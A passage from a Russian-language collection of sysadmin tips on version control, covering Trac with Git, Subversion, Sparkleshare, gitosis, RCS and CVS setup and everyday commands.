       sed -i 's/^repository_type =.*$/repository_type = git/g' /srv/trac/pr1/conf/trac.ini
       sed -i 's/^repository_dir =.*$/repository_dir = \\/srv\\/git\\/pr1\\/.git/g' /srv/trac/pr1/conf/trac.ini
    
    
    Теперь дадим пользователю "admin" привелегии trac админа:
    
       trac-admin /srv/trac/pr1 permission add admin TRAC_ADMIN
    
    
    Если мы не хотим запретить доступ к нашему трэк серверу не авторизированным пользователям, то:
    
       trac-admin /srv/trac/pr1 permission remove anonymous '*'
    
    
    Ну и в конце подкорректируем права доступа к директориям, где будут храниться данные:
    
       chown -R apache:apache /srv/{trac,git}
    
    
    Перезагрузим apache:
    
       systemctl httpd restart
    
    
    Теперь можно зайти на trac сервер в наш проект по адресу:
    
       http://trac-server.loc/trac/pr1
    
    Для работы с git используйте адрес:
    
       http://trac-server.loc/git/pr1
    
    Например при команде:
    
       git clone http://trac-server.loc/git/pr1
    
    Будет запрошено имя пользователя и пароль для авторизации.
    
     
    ----* Определение типа окончания строк (Windows или Unix) для текстовых файлов в небольшом Web-проекте   Автор: Kroz  [комментарии]
     
    Ситуация: небольшой Web-проект разрабатывается несколькими людьми на разных ОС:
    Windows и Linux. В результате в некоторых файлах перевод строк сделан в стиле
    Windows, в некоторых - в стиле Unix. Неудобство состоит в том, что если
    какая-то "интеллектуальная" программа поменяет тип перевода строк, система
    контроля версий Subversion помечает все строки как изменившиеся, и нужны
    дополнительные усилия чтобы определить реальные изменения. Поэтому было принято
    решение определить тип перевода строк в каждом файле, и применить
    соответствующие меры (например, использовать атрибут svn:eol-style в subversion).
    
    Скрипт простой, легко кастомизируется под автоматическую конвертацию (с помощью
    dos2unix), другие типы файлов, определение стиля Macintosh (в данном случае
    различается только Windows и Unix):
    
       for FILE in `find -iname '*.php' -or -iname '*.css' -or -iname '*.js' -or -iname '*.txt' -or -iname '*.xml'` ; do
          echo -n "$FILE ... " ;
          WIN=`grep -P "\\r$" $FILE | head`;
          if [ -z "$WIN" ] ; then
             echo "Unix"
          else
             echo "Windows"
          fi
       done
    
     
    ----* Получение инкрементальных diff-файлов для subversion   Автор: Аноним  [комментарии]
     
    Для того чтобы в subversion получить инкрементальный diff между ревизиями ("как
    в git"), чтобы было проще изучить изменения, можно использовать следующий скрипт:
    
       #!/bin/sh
    
       url="$1"
       rev_start=$2
       rev_end=$3
       rev=$rev_start
    
       while [ "$rev" -lt "$rev_end" ]
       do
    	rold=$rev
    	rev=`expr $rev + 1`
    	fn=`printf %08d-%08d.diff $rold $rev`
    	echo $fn
    	svn diff $url@$rold $url@$rev > $fn
       done
    
    Результат - файлы с именами xxxxxxxx-xxxxxxxy.diff, где xxxxxxxx и xxxxxxxy - номера ревизий.
    
     
    ----* Использование Git в Vim (доп. ссылка 1)   Автор: felicson  [комментарии]
     
    Ниже представлены два плагина, которые позволяют из Vim работать с Git.
    
    Требования к плагину были простыми:
    * Показывать активную ветку текущего файла
    * Переключение между разными ветками, без выхода из Vim
    * Кроссплатформенность
    
    В итоге удалось найти два законченных плагина, которые удовлетворяют данным требованиям:
    git-branch-info.vim и git.vim
    
    git-branch-info.vim
    
    Этот плагин был сделан для показа информации о текущей ветке в статусной строке.
    
       set laststatus=2 " Включение строки статуса внизу редактора
       set statusline=%{GitBranchInfoString()}
    
    В дополнение к информации о текущей ветке, он может показать список всех веток
    в текущем репозитории через пункт меню (только в Gvim) и позволяет
    проверить/извлечь определенную ветку.
    
    
    
    Одно замечание по этому плагину - он был разработан только для пользователей
    Linux и не будет работать в Windows в том виде в каком он есть.
    
    
    git.vim
    
    Git.vim более комплексный плагин, который позволяет пользователю производить
    больше действий с Git не покидая окружения Vim. Домашняя страница на GitHub
    http://github.com/motemen/git-vim/tree/master перечисляет все возможности,
    доступные благодоря этому плагину.
    
    Функция вызываемая для установки статусной строки называется - GitBranch().
    Итак, строки добавляемые в .vimrc должны быть такими:
    
       set laststatus=2
       set statusline=%{GitBranch()}
    
    Но к сожалению, здесь есть ошибка в функции GitBranch(). Снова выручает GitHub,
    проект был форкнут и доступен здесь http://github.com/amjith/git-vim . Автору
    отправлен запрос с указанием ошибки.
    
    Несколько других возможностей этого плагина продемонстрированы ниже. Этот
    плагин поставляется с файлами проверки синтаксиса, которые подсвечивают
    git-log, git-diff и git commit сообщения. Подсветку синтаксиса можно посмотреть
    на следующих снимках.
    
    
    
    ":GitCommit" открывает отдельное окно для ввода информации о коммите, и
    коммитит текущий файл в репозиторий. Если файлы не добавлены в индекс, то
    плагин автоматически вызывает git commit с опицей -a для внесения всех
    измененных файлов в индекс  и коммитит их в репозиторий.
    
    
    
    
    ":GitDiff" открывает отдельное окно с выводом команды git diff по текущему файлу.
    
    
    
    ":GitLog" показывает лог сообщение коммита по текущему файлу.
    
    
    
    ":GitBlame" показывает изменения файла в виде списка однострочных записей, по
    одному имени пользователя на строку в вертикальном окне.
    Это экспериментальная функция, для слияния конфликтующих файлов использует
    Vimdiff, ":GitVimDiffMerge" и другие команды git можно вызвать из Vim используя :Git.
    
     
    ----* Организация файлового хранилища на базе Git-репозитория при помощи Sparkleshare (доп. ссылка 1)   [комментарии]
     
    В рамках проекта Sparkleshare развивается свободный движок для организации
    похожих на Dropbox online-хранилищ, непосредственное хранение данных в которых
    осуществляется в любом Git-репозитории. Использование Git позволяет
    задействовать элементы версионного контроля для отслеживания изменений в
    файлах, давая возможность отследить все изменения и при необходимости вернуться
    к состоянию определенного файла в прошлом.
    
    С технической стороны SparkleShare является Git-клиентом, оптимизированным для
    хранения и обмена файлами. Программа может использоваться не только для
    хранения своих файлов, но и для организации обмена файлами с другими людьми или
    для обеспечения синхронизации данных между домашним и рабочим ПК. SparkleShare
    поддерживает шифрование хранимых данных, что позволяет использовать публичные
    Git-репозитории не опасаясь возможной утечки информации. Например, можно
    использовать Git-репозитории в публичных сервисах Gitorious и GitHub.
    
    Рассмотрим процесс развертывания Sparkleshare-хранилища под управлением Fedora
    Linux с целью организации доступного дома и на работе хранилища. Для
    организации рабочего процесса создадим в домашней директории каталог
    Sparkleshare, в котором будем создавать подкаталоги, соответствующие текущим
    проектам. В качестве первичного хранилища будет использовать Git-репозиторий на
    собственном сервере, доступ к которому организован через SSH. Одновременно
    настроим на сервере доступность сохраняемых файлов через web, разместив клон
    репозитория в директории ~/public_html.
    
    
    Установка Sparkleshare на локальной клиентской машине.
    
    Добавляем соответствующий YUM-репозиторий, в котором содержатся готовые пакеты с Sparkleshare:
    
        cd /etc/yum.repos.d
        sudo curl -O http://repos.fedorapeople.org/repos/alexh/sparkleshare/fedora-sparkleshare.repo
    
    Устанавливаем Sparkleshare 
    
        sudo yum install -y sparkleshare ssh-askpass
    
    Удаляем пакет nautilus-python, так как иначе при работе Sparkleshare наблюдается крах Nautilus.
    
        sudo yum remove -y nautilus-python
    
    PS. Пользователи Ubuntu могут загрузить  Sparkleshare из PPA-репозитория:
    
       sudo add-apt-repository ppa:pdffs/sparkleshare
       sudo apt-get update
       sudp apt-get install sparkleshare
    
    Настройка Git-репозитория
    
    Создаем Git-репозиторий на внешнем сервере, который будет использован в
    качестве первичного хранилища:
    
       git init --bare repo.git
    
    Для работы на сервере должны быть установлены пакеты с git и openssh-server.
    
    Проводим первичное клонирование репозитория в директорию ~/public_html, чтобы
    файлы были доступны через web:
    
       cd ~/public_html
       git clone repo.git
       cd repo
    
    Создаем тестовый файл:
    
       echo 'Fedora 15 rocks!' >> test.txt
    
    Добавляем файл в Git и принимаем изменения.
    
       git add test.txt
       git commit test.txt -m 'initial commit2'
    
    Создаем начальную ветку:
     
       git push origin master
    
    
    
    Подключаем свои локальные машины к репозиторию
    
    На локальной рабочей машине останавливаем рабочий процесс Sparkleshare и
    клонируем созданный на прошлом шаге репозиторий
    
       sparkleshare stop
    
       cd ~/SparkleShare
       git clone логин@хост:/home/логин/repo.git
    
    Проверяем содержимое:
    
       cd ~/SparkleShare/repo
       ls
    
    Меняем содержимое тестового файла
    
       echo 'Pandas rule.' >> test.txt; 
    
    Применяем изменения:
    
       git commit -a -m 'panda PSA'
       git push
    
    
    На удаленном сервере, где создан базовый Git-репозиторий принимаем изменения:
    
       cd ~/public_html/repo
       git pull
    
    Проверяем, изменилось ли содержимое test.txt:
    
       cat test.txt
    
    Если все работает нормально, то запускаем на локальной машине Sparkleshare
    которые возьмет в свои руки выполнение рутинных операций по отслеживанию
    изменений и синхронизации данных на внешний сервер.
    
       sparkleshare start
    
    Настраиваем автозапуск Sparkleshare в GNOME:
    
       cp /usr/share/applications/sparkleshare.desktop ~/.config/autostart
    
    Заходим в директорию с репозиторием SparkleShare
    
       cd ~/SparkleShare/repo
    
    и создаем там новый тестовый файл:
    
       echo '42' >> theanswer.txt
    
    На удаленном сервере клонируем репозиторий и убеждаемся, что новый файл
    автоматически был помещен в Git:
    
        cd ~/public_html/repo
        git pull
        ls
    
    Все работает.
    
    
    Создаем автоматически обновляемое зеркало для просмотра репозитория из web.
    
    Настроим автоматическое клонирование репозитория удаленном сервере, с которого
    будет осуществлена раздача файлов через Web. Для работы нам понадобиться
    настроить удаленный вход со второй машины на первую по SSH по ключам, без ввода
    пароля. Инструкцию по настройке можно найти здесь.
    
    На удаленном сервере переходим в базовую директорию с Git-репозиторием (не клоном)
    
        cd ~/git.repo/hooks
    
    Добавляем скрипт, который будет срабатывать при добавлении файлов в
    репозиторий. В этом скрипте автоматически будет выполнять локальное
    клонирование репозитория для его видимости в web.
    
    Создадим скрипт post-receive в директории ~/git.repo/hooks (не забудьте
    подставить реальное значение вместо "логин"):
    
       #!/bin/sh
    
       while read oldrev newrev refname
       do
          true
       done
       cd /home/user/public_html/repo
       GIT_DIR=/home/логин/public_html/repo/.git git pull
    
    Проверим, создав на локальной системе третий тестовый файл:
    
       cd ~/SparkleShare/repo
       echo 'Fedora 15' >> latestfedora.txt
    
    
    Переходим на удаленном сервере в директорию с клоном репозитория для web и
    проверяем появился ли новый файл:
    
       cd ~/public_html/repo
       ls
    
    Подсказки по настройке работы Sparkleshare c Github и Gitorious можно найти на
    странице http://sparkleshare.org/help/
    
     
    ----* Основы использования Subversion для управления исходными текстами (доп. ссылка 1)   [комментарии]
     
    Создание SVN-репозитория:
    
    
       svnadmin create путь_к_репозиторию
    
    например
    
       svnadmin create ~/svn/project1
    
    Импорт в репозиторий дерева исходных текстов:
    
    
       svn import [директория] [URL] -m "комментарий"
    
    например
    
       svn import public_html file:///home/user/svn/project1 \
           -m "первый импорт кода"
    
    В нашем случае URL с путем к репозиторию указывает на локальную файловую систему.
    
    Просмотр содержимого репозитория:
    
          svn list [URL]
          svnlook tree [repository path]
    
    например
    
          svn list file:///home/user/svn/project1
          svnlook tree ~/svn/project1
    
    Извлечение рабочей копии исходных текстов из репозитория:
    
       svn checkout [URL] [директория для сохранения]
    
    например
    
       svn checkout file:///home/user/svn/project1 test
    
    срез содержимого репозитория будет сохранен в директорию test, в которой можно
    начать редактирование файлов.
    
    Статус изменений в рабочей копии можно посмотреть командой
    
       svn status
    
    Первый символ в выводе определяет характер изменений:
    
       ' ' без изменений
       'A' добавлено
       'C' конфликт
       'D' удалено
       'I' игнорировано
       'M' изменено
       'R' заменено
       'X' добавлена новая директория
       '?' элемент для которого не ведется версионный контроль (новый файл)
       '!' элемент отсутствует (удалено без подтверждения в svn)
     
    Перед коммитом изменений необходимо убедиться в отсутствии файлов с признаками
    "?" и "!", добавив новые файлы через команду "svn add" и удалив ненужные через
    "svn delete" или восстановив удаленные по ошибке через "svn update".
    
    Типичные операции с файлами в рабочей копии.
    
    Добавление новых файлов, ранее отсутствовавших в репозиторий (команда
    выполняется находясь в директории с рабочей копией):
    
       svn add имя_файла
    
    Удаление ненужных файлов из репозитория :
    
       svn delete имя_файла
    
    если файл по ошибке был удален вручную, то восстановить его можно командой
    
       svn update имя_удаленного_файла
    
    Просмотр лога изменений:
    
       svn log
    
    Просмотра лога изменений только в рамках заданной ревизии:
    
       svn log -r 10
    
    Подтверждение (коммит) внесенных изменений в основной репозиторий (номер
    ревизии при каждом коммите автоматически увеличивается на 1).
    
       svn commit
    
    Если репозиторием пользуются другие разработчики, после совершения коммита
    следует синхронизировать состав рабочей директории, в случае если с момента
    создания локальной копии в репозиторий были внесены изменения другими разработчиками.
    
       svn update
    
    
    Для формирования  копии части репозитория без служебных данных (без .svn
    поддиректорий), например, для размещения в web, нужно использовать команду:
    
       svn export [URL репозитория или файла/директории в нем]
    
    например
    
       svn export file:///home/user/svn/project1/dir/file.html
       svn export file:///home/user/svn/project1/dir
    
    Проверка номера версии текущей рабочей директории:
    
       svnversion
    
    Если в ответ будут показаны цифры, значит все изменения зафиксированы коммитом. 
    Если перед цифрами указана буква "M", значит в рабочей директории имеются
    измененные файлы, ожидающие передачи в репозиторий.
    Если в выводе фигурирует несколько цифр, разделенных двоеточием, значит после
    вашего коммита в репозитории другим участником были внесены изменения, которые
    следует синхронизировать через "svn update".
    
    Для просмотра различий между двумя ревизиями одного файла в рабочей директории
    необходимо выполнить:
    
       svn diff имя_файла
    
    Для возврата рабочей директории к прошлой ревизии (отмены изменений) можно использовать команду:
    
       svn merge -r 4:1 file:///home/user/svn/project1
    
    где, 4 - текущая ревизия, а 1 - ревизия на которую осуществляется откат рабочей директории.
    
    Для переименования репозитория можно использовать следующую схему.
    Создает новый пустой репозиторий:
    
       svnadmin create новое_имя
    
    Делаем бэкап старого репозитория в файл:
    
       svnadmin dump ~/svn/старое_имя > old_repo.dump
    
    Загружаем дамп с резервной копией в новый репозиторий:
    
       svnadmin load ~/svn/новое_имя < old_repo.dump
    
    Удаляем старый репозиторий:
    
       rm -rf ~/svn/старое_имя 
    
     
    ----* Пример работы с персональным Git репозиторием   [комментарии]
     
    Имеем две машины: "рабочая" для хранения базового репозитория и работающего проекта, и локальная, 
    на которой будем вносить в этот репозиторий правки. 
    
    Для создания нового репозитория в созданной директории "проект" нужно перейти в
    эту директорию и выполнить:
      git init
    
    А затем добавить ранее созданные там файлы: 
      git add .
    
    Для того, чтобы с локальной машины по SSH зайти на "хост" под именем "логин" и клонировать на свою 
    машину репозиторий, находящийся с директории "/home/логин/проект" (префикс
    ssh:// добавляктся по умолчанию)
      git clone логин@хост:/home/логин/проект master
    
    Для того, чтобы через некоторое время синхронизировать из основного или другого репозитория 
    изменения, нужно выполнить: 
      git pull логин@хост:/home/логин/проект master
    
    Локальный клон сделан. 
    Далее правим в созданной на локальной машине "проект"
      git commit -a -m "комментарий о проделанной работе"     
    
    Если ошиблись и нужно вернуть все обратно: 
      git revert
    
    Чтобы зафиксировать версию (если наступил такой момент): 
      git tag тэг_версии
    
    Когда все готово, помещаем изменения в основой репозиторий: 
      git push логин@хост:/home/логин/проект master                      
    
    Для того, чтобы сгенерировать рабочий проект (в нашем случае сайт) на рабочем сервере 
    нужно выполнить (в директории с проектом): 
      git update-server-info                                                          
      git checkout HEAD -f
    
    Вернуться к прошлой ревизии: 
      git checkout HEAD~1
    
    К позапрошлой: 
      git checkout HEAD~2
    
    Построить проект с заданным номером версии: 
      git checkout тэг_версии
    
     
    ----* Создание хостинга для git репозитория в Debian Linux (доп. ссылка 1)   Автор: Kirill A. Korinskiy  [комментарии]
     
    Как оказалось, в современном debian создать хостинг для git репозитория, не
    просто просто, а очень просто.
    
    Начнем мы ставить, на сервере, софт. Понадобиться нам gitosis и git-core.
    Говорим волшебное заклинание:
    
       sudo aptitude install gitosis git-core
    
    Следующим шагом надо создать gitosis хостинг:
    
       sudo -H -u git gitosis-init < .ssh/authorized_keys2
    
    Да, авторизация будет происходить только по ключам.
    
    Дальше, надо разрешить выполнение post-update хука:
    
       sudo chmod 755 /srv/gitosis/repositories/gitosis-admin.git/hooks/post-update
    
    Теперь нам нужен git-daemon, который бы раздавал все что мы делаем
    (этот шаг нужен, если мы хотим разрешить всем read only доступ):
    
       sudo update-inetd --group OTHER --add 'git\tstream\ttcp\tgitosis\tgitosis\t/usr/bin/git\tgit daemon \
         --inetd --export-all  --base-path=/srv/gitosis/repositories/'
    
    Все, на этом настройка сервера закончена. Теперь начинаем настраивать, собственно, хостинг. 
    Прелесть этой системы в том что все управление делается через git :).
    
    Давайте, для начала, возьмем себе административный репозиторий:
    
       git clone gitosis@SERVER:gitosis-admin.gi
    
    Мы получим репозиторий, в котором будет лежать директория keydir. В ней лежат
    публичные ключи людей,
    которые имеют доступ к нашему хостингу. В качестве имени файла используется его
    имя из открытого ключа.
    Т.е. что бы добавить человека нужно, просто, добавить его ключ.
    
    Для примера, мы создадим группу developer и testers, группа developers будет иметь доступ 
    к двум проектам на запись (project1-dev и project2-dev) и к проекту группы
    testers на чтение. Группы testers наоборот.
    
       [group quux]
       members = joe smith
       writable = projeect1-dev project2-dev
       readonly = testers
    
    
       [group quux]
       members = max john
       writable = testers
       readonly = projeect1-dev project2-dev
    
    Теперь осталось только сделать commit.
    
    Если сделать доступ, через git-daemon, то любой, сможет прочитать эти проекты.
    
     
    ----* Хранение файлов конфигурации в RCS (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    Система управления версиями RCS пригодилась для сохранения резервных копий 
    файлов конфигурации и нескольких Perl модулей, активная разработка которых уже завершена, 
    но мелкие исправления и переделки еще бывают.
    
    Итак, для работы с RCS используются следующие команды - 
       ci (импорт файлов в репозиторий), 
       co (экспорт), 
       rcs (манипулирование флагами файлов и проч.), 
       rcsdiff, 
       rlog. 
    
    Пусть file - файл, который требуется передать в управление RCS.
       ls -la > file
    
    Первым делом нужно создать каталог для репозитория
       mkdir RCS
    
    Затем импортировать файл. В общем случае это делается так:
       ci file
    
    Исходный файл _перемещается_ в репозиторий (если он там уже есть, то под новой версией).
    
    Извлечь файл из репозитория можно командой:
       co file 
    (файл будет иметь права доступа 444)
    
    Чтобы изменить файл, нужно установить его блокировку и установить права доступа, разрешающие запись
       rcs -l file
       chmod o+w file
    
    Чтобы записать изменения нужно снова выполнить
       ci file
    
    
    Итак, это все, что нужно для того чтобы начать работать.
    Теперь пара команд, для того, чтобы работать было удобно :)
    
       co -l file - синоним co file; rcs -l file; chmod 644 file - извлечь, заблокировать файл, разрешить запись.
       ci -u file - синоним ci file; co file - сохранить файл и извлечь рабочую копию
       ci -l file - синоним ci file; co -l file - сохранить файл, сделать co -l
    
    В случае, если с файлом работает один пользователь, то в блокировках нет
    никакого смысла, и от них можно отказаться:
    
       ci -l file (первоначальный импорт)
       rcs -U file (установка перманентной блокировки)
       vi file 
       ci -l file (файл сохранится в RCS и будет готов к дальнейшей работе)
    
    Далее, самые распространненые задачи:
    
    Извлечь файл из репозитория
       co file
       co -l file (синоним co file, rsc -l file -- извлечение и блокировка)
       co -r1.2 file (извлечение определенной версии файла)
    
    Посмотреть различия между текущей (=рабочей) версией и последней, сохраненной в RCS
       rcsdiff file
    
    Посмотреть различия между произвольными двумя версиями
       rcsdiff -r1.1 -r1.2 file
    
    Посмотреть логи редактирования файла
       rlog file
    
    Дальнейшее чтение: rcsintro(1), rcs(1), co(1), ci(1).
    
     
    ----* Быстрая установка Subversion на FreeBSD (доп. ссылка 1)   Автор: Alex Ryabov  [комментарии]
     

    Процедура установки довольно проста, но, как часто бывает, предварительное прочтение инструкции экономит вам кучу времени. Здесь я рассматриваю простейший случай: репозиторий доступен только по HTTP/HTTPS (настройку SSL приводить не буду), разработчиков немного, поэтому персональных разрешений на директории мы не выставляем.

    Сначала нужно установить Apache (я использую версию 2.2):

    cd /usr/ports/www/apache22
    make WITH_BERKELEYDB=db42 install

    либо, если он у вас уже установлен, пересобрать его с поддержкой Berkeley DB:

    portupgrade -f -m "WITH_BERKELEYDB=db42" www/apache22

    Далее собираем и ставим SVN (тут, если ваш Apache собран без BDB, сборка прервется сообщением об ошибке):

    cd /usr/ports/devel/subversion
    make WITH_MOD_DAV_SVN= install

    Всё необходимое установлено. Теперь нужно создать репозиторий и проект в нем:

    mkdir /usr/local/www/repo
    svnadmin create /usr/local/www/repo/project
    chown -R www:www /usr/local/www/repo

    Файл с паролями пользователей:

    htpasswd -c /usr/local/etc/svn.passwd user password

    Внести настройки модуля dav_svn в конфиг Apache и рестартовать веб-сервер:

    edit /usr/local/etc/apache22/httpd.conf
      <Location /svn>
          DAV svn
          SVNParentPath /usr/local/www/repo
          AuthType Basic
          AuthName "Subversion repository"
          AuthUserFile /usr/local/etc/svn.passwd
          Require valid-user
      </Location>
    apachectl restart

    Чтобы проверить, как работает наш репозиторий, можно поставить графический клиент (например, TortoiseSVN) или выполнить от имени пользователя user команду:

    svn co http://server.net/svn/project/ project

    Что читать дальше? По настройке и улучшению безопасности сервера: Setting up a Secure Subversion Server и Accessing Secure Subversion Servers (две статьи от Дрю Лавинь, рассматривается настройка без веб-сервера с доступом по SSH и более сложные случаи раздачи прав пользователей), Using Subversion for Collaborative Development.

    По использованию: Управление версиями в Subversion.

     
    ----* Пример настройки subversion под Linux (доп. ссылка 1)   Автор: madskull  [комментарии]
     
    Сервер:
    
       > svnadmin create /path/to/repos  # создание репозитория
    
       > cat /path/to/repos/conf/svnserve.conf
          [general]
          anon-access = none
          auth-access = write
          password-db = passwd
          realm = My First Repository
    
       > cat /path/to/repos/conf/passwd
          [users]
          user = PaSsW0Rd
    
       > cat /etc/xinetd.d/svn
          service svn
          {
          flags           = REUSE
          socket_type     = stream
          wait            = no
          user            = root
          server          = /usr/bin/svnserve
          server_args     = -i -r /path/to/repos
          log_on_failure  += USERID
          disable         = no
          }
    
       > /etc/rc.d/xinetd start
    
    
    Клиент:
    
       # создаем временный каталог с проектом
       > mv /path/to/project /tmp
    
       # импортируем его в svn
       > svn import /tmp/project svn://SERVER/project
    
       # восстанавливаем проект для работы
       > cd /path/to
       > svn checkout svn://SERVER/project
    
       # запись изменений на сервер
       > cd /path/to
       > svn commit -m "что-то тут я изменил"
    
       # получить последнюю версию с сервера
       > cd /path/to
       > svn update
    
    В документации сказано, что надо в /path/to/project создать каталоги 
    branches tags trunk и файлы проекта поместить в trunk. 
    Однако, у меня работает и так.
    
     
    ----* Как можно узнать какие branch имеются в удаленном CVS репозитории (доп. ссылка 1)   Автор: butcher  [обсудить]
     
    На сколько я знаю, нет способа 100%. Можно попробовать так, пример для gnumric'а:
    
    Сначала нужно скачать один из файлов дистрибутива:
         cvs -d:pserver:anonymous@anoncvs.gnome.org:/cvs/gnome login
         cvs -d:pserver:anonymous@anoncvs.gnome.org:/cvs/gnome co gnumeric/ChangeLog
         cvs -d:pserver:anonymous@anoncvs.gnome.org:/cvs/gnome status -v gnumeric/ChangeLog
    
     
    ----* Подсказка по CVS командам   [обсудить]
     
    Добавление нового файла/директории
           cvs add filename
    Удаление файла из репозитория
           cvs remove filename
    Обновление версии файла в репозитории
           cvs commit filename
    Обновление рабочей ветки из репозитория
           cvs update
    Создание рабочей ветки из репозитория
           cvs checkout module_name
    Создание репозитория
           cvs -d /home/cvsroot init
    Импорт модулей в репозиторий
           cvs -d /home/cvsroot import example example_project ver_0-1
    Использование тэгов
           cvs tag release-1-0, cvs checkout -r tagname
    Ветвление
           cvs tag -b branchtag
    Блокировка файлов 
           cvs watch add|remove -a edit|unedit|commit|all files
    Настройка доступа к CVS репозиторию по сети 
           cvs -d :ext:cvs.example.com.au:/usr/local/cvsroot checkout sample
    
     
    ----* Как экспортировать релиз из CVS дерева.   [обсудить]
     
      cvs rtag release1_2 module_name
      cvs export -r release1_2 module_name
    Для формирования патча использовать: diff -u --recursive --new-file (diff -urN)
    
     
    ----* Как запустить CVS сервер.   [обсудить]
     
    В /etc/inetd.conf
    2401  stream  tcp  nowait  cvs_user  /usr/sbin/tcpd /usr/bin/cvs -f
    --allow-root=/usr/local/cvsroot pserver
    При этом список пользователей хранится в файле:
       /usr/local/cvsroot/CVSROOT/passwd (формат: user:crypted_passwd)
    Настройки:
       /usr/local/cvsroot/CVSROOT/config
          PreservePermissions=n
          SystemAuth=no
    
     
    ----* Как скачать дерево исходников с удаленного CVS сервера   [обсудить]
     
    export CVSROOT=:pserver:anonymous@remote_cvs_server_host:/usr/local/cvsroot
    cvs login
    cvs checkout
    cvs logout
    
     

     Версия для печати





    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру